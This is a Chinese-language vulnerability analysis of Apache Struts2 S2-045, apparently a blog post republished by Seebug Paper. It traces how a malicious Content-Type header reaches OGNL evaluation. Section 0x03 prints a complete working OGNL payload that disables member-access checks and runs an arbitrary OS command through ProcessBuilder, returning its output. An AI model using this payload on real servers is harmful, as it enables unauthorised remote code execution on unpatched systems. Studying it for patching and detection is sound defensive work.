作者:lucifaer
作者博客:https://www.lucifaer.com/

S2-045,一個很經典的漏洞,和網上已經有的分析不同,我將整個漏洞的觸發點和流程全都理了一遍,感覺收獲良多,算是能自己說服自己的分析了。

0x00 漏洞描述

Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

-w756

從漏洞簡述中可以得知是struts在處理Content-Type時如果獲得未期預的值的話,將會爆出一個異常,在此異常的處理中可能會造成RCE。同時在漏洞的描述中可以得知Struts2在使用基于Jakarta Multipart解析器來處理文件上傳時,可能會造成RCE。

Jakarta Multipart解析器在Struts2中存在于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest是默認組件之一,首先把這一點記錄下來。

接下來看一下diff:

img

可以看到關鍵點在于首先判斷validation是否為空,若為空的話則跳過處理。可見關鍵點在于對于validation的處理。

0x01 整體觸發流程

MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 處理requests請求
  JakartaMultiPartRequest$parse:67 # 處理上傳請求,捕捉上傳異常
    JakartaMultiPartRequest$processUpload:91 # 解析請求
      JakartaMultiPartRequest$parseRequest:147 # 創建請求報文解析器,解析上傳請求
        JakartaMultiPartRequest$createRequestContext # 實例化報文解析器
      FileUploadBase$parseRequest:334 # 處理符合multipart/form-data的流數據
        FileUploadBase$FileItemIteratorImpl:945 # 拋出ContentType錯誤的異常,并把錯誤的ContentType添加到報錯信息中
  JakartaMultiPartRequest$parse:68 # 處理文件上傳異常
    AbstractMultiPartRequest$buildErrorMessage:102 # 構建錯誤信息
      LocalizedMessage$LocalizedMessage:35 # 構造函數賦值
FileUploadInterceptor$intercept:264 # 進入文件上傳處理流程,處理文件上傳報錯信息
  LocalizedTextUtil$findText:391 # 查找本地化文本消息
  LocalizedTextUtil$findText:573 # 獲取默認消息
    # 以下為ognl表達式的提取與執行過程
    LocalizedTextUtil$getDefaultMessage:729
      TextParseUtil$translateVariables:44
        TextParseUtil$translateVariables:122
          TextParseUtil$translateVariables:166
            TextParser$evaluate:11
            OgnlTextParser$evaluate:10

0x02 漏洞分析

2.1 漏洞觸發點

根據diff所得結果,跟進validation的執行流程,就如漏洞描述中所述,validation的調用位于Struts2的FileUploadInterceptor也就是處理文件上傳的攔截器中。

img

跟進LocalizedTextUtil.findText

img

這邊先不著急向下跟,首先看一下valueStack的內容是什么:

img

img

img

通過鍵值關系從ActionContext中返回ognl的堆棧結構,也就是說valueStack和ognl的執行相關。

接下來跟進findText方法,著重跟一下valueStack,可以發現主要是以下方法調用到該值:

findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()

先不管ReflectionProviderFactory.getInstance().getRealTarget()findMessage()在執行過程中都會調用到getMessage(),而在getMessage()getDefaultMessage()中都存在buildMessageFormat()方法,該方法用于消息的格式化,而格式化的消息是由TextParseUtil.translateVariables()來生成的:

img

這里注意getMessage()方法需要設置bundleName這個參數,而這個參數是由aClass賦值的,而在整個觸發流程中aClass是一個File異常類,而這個類在Collections.java中是找不到的,所以在執行過程中,所有的getMessage()findMessage()都是返回null的,也就是說,在整個流程中,只有getDefaultMessage()會被觸發。

img

跟一下這個TextParseUtil.translateVariables()的具體實現:

img

img

可以看到首先對defaultMessage進行ognl表達式的提取,之后執行ognl表達式。所以漏洞的觸發點就找到了。且觸發的關鍵是構造一個含有ognl表達式的defaultMessage即:

img

2.2 觸發流程

網上很多文章并沒有說該漏洞的觸發流程是什么樣的,只是在上面的關鍵點下了一個斷向下調試,所以只是完成了對這個流程的調試而已,并沒有完整的把這個漏洞說清楚的原因(浮躁的圈子= =)。

我記錄一下我根據單元測試而找到觸發流程的過程。

根據2.1的分析,我們現在知道只要調用了org.apache.struts2.interceptor.FileUploadInterceptor$interceptrequest觸發錯誤處理流程,且validation不為空就可以觸發ognl表達式的執行。所以首先我開始尋找哪里調用了intercept()這個方法:

img

如上圖紅框的內容,我找到了針對于FileUploadInterceptor的單元測試,在單元測試中詳盡的描述了intercept()的處理流程,跟進看一下我找到了一個有趣的單元測試testInvalidContentTypeMultipartRequest()

img

還記得我們的intercept的處理流程么:

img

也就是說我們需要關心的只有MyFileupAction()與request的處理流程

首先來看一下MyFileupAction()是否是ValidationAware接口的一個實例:

img

img

ok,是ValidationAware一個實現,getAction()方法將setAction()設置的對象返回。接下來我們跟一下req的處理流程:

-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);

img

關鍵點在于multi.parse(request, saveDir);根據調用棧,可以看到這里是調用了JakartaMultiPartRequest實例的parse()方法:

img

這里注意會捕獲FileUploadException異常。

接著跟進processUpload()方法:

img

繼續跟進:

img

首先看createRequestContext()對于請求做了哪些處理:

img

返回了一個實例化的RequestContext(),記住該實例有四個內置的方法:

  • getCharacterEncoding()
  • getContentType()
  • getContentLength()
  • getInputStream()

接著跟進parseRequest()

img

跟進getItemIterator()

img

繼續跟進:

img

這一段代碼首先調用了RequestContext實例的getContentType()方法,該方法就像上面調用棧中所看到的一樣,會返回請求的ContentType字段,然后做一個存在性校驗,校驗ContentType是否為空或并非以multipart開頭,如果上述條件成立,則拋出一個錯誤,并把錯誤的ContentType加入到報錯信息中。這里的InvalidContentTypeException類是繼承于FileUploadException的,也就是說會拋出一個FileUploadException的錯誤。

反過來看JakartaMultiPartRequest的異常捕獲邏輯:

img

很有意思,我們直接跟進buildErrorMessage看一下:

img

img

可以看到在這里,我們將包含著我們可以自定義的ContentType賦值給defaultMessage回看2.1所說的漏洞觸發點,這里就是我們發送請求將ognl傳遞到漏洞觸發點的defaultMessage

img

img

img

拆分消息中的ognl表達式,并執行:

img

img

img

img

0x03 構造POC

根據上面的分析,我們可以看到構造POC的關鍵是在發送的請求中構造一個含有ongl表達式的ContentType。較為通用的一個poc如下:

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

效果如下:

img

0x04 Reference


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/767/